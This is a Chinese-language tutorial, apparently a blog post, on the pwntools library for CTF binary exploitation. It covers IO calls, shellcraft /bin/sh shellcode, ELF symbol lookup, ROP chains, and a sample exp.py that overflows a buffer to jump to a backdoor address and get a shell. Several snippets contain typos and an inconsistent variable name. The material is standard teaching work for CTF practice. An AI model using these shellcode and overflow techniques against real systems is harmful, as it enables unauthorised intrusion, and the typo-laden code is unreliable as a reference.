‘1.Pwntools分为两个模块

  • pwn,简单地使用from pwn import *,即可将所有子模块和一些常用的系统库导入当前命名空间中,专门针对CTF比赛优化
  • pwnlib,根据需要导入子模块,常用于基于pwntools的二次开发

2.常用模块如下:

  • asm : 汇编与反汇编,支持x86/x64/arm/mips/powerpc等基本上所有的主流平台
  • dynelf : 用于远程符号泄漏,需要提供leak方法
  • elf : 对elf文件进行操作
  • gdb : 配合gdb进行调试
  • memleak : 用于内存泄漏
  • shellcraft : shellcode的生成器
  • tubes : 包括tubes.sock, tubes.process, tubes.ssh, tubes.serialtube,分别适用于不同场景的PIPE
  • utils : 一些实用的小功能,例如CRC计算,cyclic pattern等

3.连接

  1. 本地 sh = porcess("./level0")
  2. 远程:sh = remote("127.0.0.1",10001)
  3. 关闭连接:sh.close()

4.IO模块

sh.send(data)  发送数据
sh.sendline(data)  发送一行数据,相当于在数据后面加\n
sh.recv(numb = 2048, timeout = dufault)  接受数据,numb指定接收的字节,timeout指定超时
sh.recvline(keepends=True)  接受一行数据,keepends为是否保留行尾的\n
sh.recvuntil("Hello,World\n",drop=fasle)  接受数据直到我们设置的标志出现
sh.recvall()  一直接收直到EOF
sh.recvrepeat(timeout = default)  持续接受直到EOF或timeout
sh.interactive()  直接进行交互,相当于回到shell的模式,在取得shell之后使用

5. 汇编和反汇编

>>> asm('nop')
'\x90'
>>> asm('nop', arch='arm')
'\x00\xf0 \xe3'

可以使用context来指定cpu类型以及操作系统

>>> context.arch      = 'i386'
>>> context.os        = 'linux'
>>> context.endian    = 'little'
>>> context.word_size = 32

使用disasm进行反汇编

>>> print disasm('6a0258cd80ebf9'.decode('hex'))
   0:   6a 02                   push   0x2
   2:   58                      pop    eax
   3:   cd 80                   int    0x80
   5:   eb f9                   jmp    0x0

注意,asm需要binutils中的as工具辅助,如果是不同于本机平台的其他平台的汇编,例如在我的x86机器上进行mips的汇编就会出现as工具未找到的情况,这时候需要安装其他平台的cross-binutils。

6.Shellcode生成器

>>> print shellcraft.i386.nop().strip('\n')
    nop
>>> print shellcraft.i386.linux.sh()
    /* push '/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
...

结合asm可以可以得到最终的payload

from pwn import *
context(os='linux',arch='amd64')
shellcode = asm(shellcraft.sh())

或者

from pwn import *
shellcode = asm(shellcraft.amd64.linux.sh())

除了直接执行sh之外,还可以进行其它的一些常用操作例如提权、反向连接等等。
7.ELF文件操作

>>> e = ELF('/bin/cat')
>>> print hex(e.address)  # 文件装载的基地址
0x400000
>>> print hex(e.symbols['write']) # 函数地址
0x401680
>>> print hex(e.got['write']) # GOT表的地址
0x60b070
>>> print hex(e.plt['write']) # PLT的地址
0x401680
>>> print hex(e.search('/bin/sh').next())# 字符串/bin/sh的地址

8.整数pack与数据unpack
pack:p32,p64
unpack:u32,u64

from pwn import *
elf = ELF('./level0')
sys_addr = elf.symbols['system']
payload = 'a' * (0x80 + 0x8) + p64(sys_addr)
...

9.ROP链生成器

elf = ELF('ropasaurusrex')
rop = ROP(elf)
rop.read(0, elf.bss(0x80))
rop.dump()
# ['0x0000:        0x80482fc (read)',
#  '0x0004:       0xdeadbeef',
#  '0x0008:              0x0',
#  '0x000c:        0x80496a8']
str(rop)
# '\xfc\x82\x04\x08\xef\xbe\xad\xde\x00\x00\x00\x00\xa8\x96\x04\x08'

使用ROP(elf)来产生一个rop的对象,这时rop链还是空的,需要在其中添加函数。
因为ROP对象实现了getattr的功能,可以直接通过func call的形式来添加函数,rop.read(0, elf.bss(0x80))实际相当于rop.call(‘read’, (0, elf.bss(0x80)))。
通过多次添加函数调用,最后使用str将整个rop chain dump出来就可以了。

  • call(resolvable, arguments=()) : 添加一个调用,resolvable可以是一个符号,也可以是一个int型地址,注意后面的参数必须是元组否则会报错,即使只有一个参数也要写成元组的形式(在后面加上一个逗号)
  • chain() : 返回当前的字节序列,即payload
  • dump() : 直观地展示出当前的rop chain
  • raw() : 在rop chain中加上一个整数或字符串
  • search(move=0, regs=None, order=’size’) : 按特定条件搜索gadget
  • unresolve(value) : 给出一个地址,反解析出符号

exp.py攻击脚本实例

from pwn import *
r=process('./name') #process是pwntools模块加载本地程序的方法,变量是字符串形式执行二进制文件的命令
r=remote("127.0.0.1",6666)  #remote是pwntools是远程连接目标IP,port的方法
context(log_level="debug",arch="amd64",os="linux") #context方法用于定义脚本模式,log_level是否调试,arhc为程序位数,os为脚本运行系统
r.recv() #recv()如果不加参数就是接受所有的字符,加参数比如r.recv(1)就是接受一个字符然后继续然后改方法的返回值就是他接受到的东西
r.recvuntil('111') #recvuntil()是接受到某个指定的字符或者字符串为止然后改方法的返回值就是他接受到的东西
r.send("11") #send()方法用来发送字符串不带回车也就是字符串结尾没有\n
r.sendline("111") #sendline()方法用来发送字符串带回车也就是字符串结尾有\n
backdoor=0x400060
pay='a'*0x18+p64(backdoor) #p64() p32 p16() p8()都是用来包装转化十六进制的p64()是对应64位程序,p32()是32位的 其实说开了p64()包装8个字节,32包装4个,16是2个,8是一个,同时我们泄露了数据要用u64() u32()来转化数据泄露的数据
python3的oncat不支持前后连接不同类型的字符串,payload前面是字符串,后面是字节
在str前面加b'a'*0x18+p64(backdoor)
'a'*0x18+p64(backdoo r).decode()
r.sendline(payload)
r.interactive() #将程序交互给到用户来操作